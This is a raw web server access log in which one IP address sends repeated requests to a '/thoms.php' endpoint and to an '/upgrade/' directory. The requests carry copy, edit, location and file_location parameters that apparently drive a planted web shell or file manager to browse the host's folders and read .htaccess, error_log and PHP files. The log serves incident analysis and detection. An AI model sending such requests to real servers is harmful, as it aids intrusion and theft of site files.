45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:03 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:04 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Ferror_log&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?edit=xmlrpc.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 6614 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 6581 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 6562 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?edit=error_log&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /thoms.php?edit=error_log&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 46736 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7823 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11132 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8345 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 6782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:05 -0400] "GET /broadweb.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 6860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2F HTTP/1.1" 200 8316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6591 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 33682 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 28574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5820 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7976 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 31211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /broadweb.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fupgrade%2F HTTP/1.1" 200 47456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
